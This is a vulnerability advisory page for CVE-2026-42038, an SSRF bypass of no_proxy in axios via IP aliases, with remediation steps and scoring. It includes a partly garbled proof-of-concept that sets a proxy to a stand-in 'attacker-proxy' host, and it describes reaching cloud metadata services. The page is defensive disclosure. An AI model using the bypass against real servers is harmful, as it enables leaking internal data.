Skip to main content

CVE-2026-42038 — Vulnerability in axios — CVE Details

MEDIUM

Axios: no_proxy bypass via IP alias allows SSRF

Published May 5, 2026Updated September 10, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.40%). Schedule for your next planned update.

Does your project use an affected axios version?

Paste your package-lock.json to check it for CVE-2026-42038 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my package-lock.json

Summary

The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.

The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result:

  • no_proxy=localhost does NOT block 127.0.0.1 or [::1]
  • no_proxy=127.0.0.1 does NOT block localhost or [::1]

POC : process.env.no_proxy = 'localhost'; process.env.http_proxy = 'http://attacker-proxy:8888';

    process.env.http_proxy = 'http://127.0.0.1:8888';

    console.log('=== Test 1: localhost (should bypass proxy) ===');
    try {
      await axios.get('http://localhost:7777/');
    } catch(e) {
      console.log('Error:', e.message);
    }

    console.log('');
    console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
    try {
      await axios.get('http://127.0.0.1:7777/');
    } catch(e) {
      console.log('Error:', e.message);
    }

    fakeProxy.close();
    internalServer.close();
  });
});
EOF
=== Test 1: localhost (should bypass proxy) ===
✅ Internal server hit directly (correct)

=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===
🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/
🚨 Host header: 127.0.0.1:7777. ```
 





<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />




Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.

Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.

Advisory Timeline

  • First published May 5, 2026 (205 days ago).
  • Last revised September 10, 2026 — 128 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update axios to 1.15.1 or later
npm install axios@1.15.1
npm
Update axios to 0.31.1 or later
npm install axios@0.31.1

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (2)

Affects 1 ecosystem: npm (1).

PackageFixed In
axios npm · Affected: All versions1.15.1
axios npm · Affected: All versions0.31.1

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-918
    Server-Side Request Forgery (SSRF)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 6.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

Frequently Asked Questions

What is CVE-2026-42038?
Axios: no_proxy bypass via IP alias allows SSRF. This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 6.8/10).
How do I check if my project is affected by CVE-2026-42038?
CVE-2026-42038 affects axios. It has a 0.4% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-42038 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
6.8

Exploitation requires specific conditions, or the impact is limited.

EPSS Score (30-day exploit probability)
0.40%
EPSS percentile: 25.4

This is a below-median EPSS score — only 25.4% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.

Also Known As

GHSA-m7pr-hjqh-92cm

Related CVEs

  • CVE-2026-44496
    HIGH

    Axios: Regular Expression Denial of Service (ReDoS) via Cookie Name Injection

  • CVE-2026-44486
    HIGH

    Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection

  • CVE-2025-27152
    HIGH

    axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

  • CVE-2026-101905
    HIGH

    Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection

  • CVE-2026-101906
    HIGH

    Axios: ReDoS (O(N²)) in shouldBypassProxy host normalization, reachable via untrusted redirect Location

  • CVE-2026-67321
    MEDIUM

    Axios form serializer maxDepth bypass via {} metatoken

  • CVE-2026-101904
    MEDIUM

    Axios: Header Injection via Inherited headers After Minimal Interceptor

  • CVE-2026-67317
    MEDIUM

    Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my package-lock.json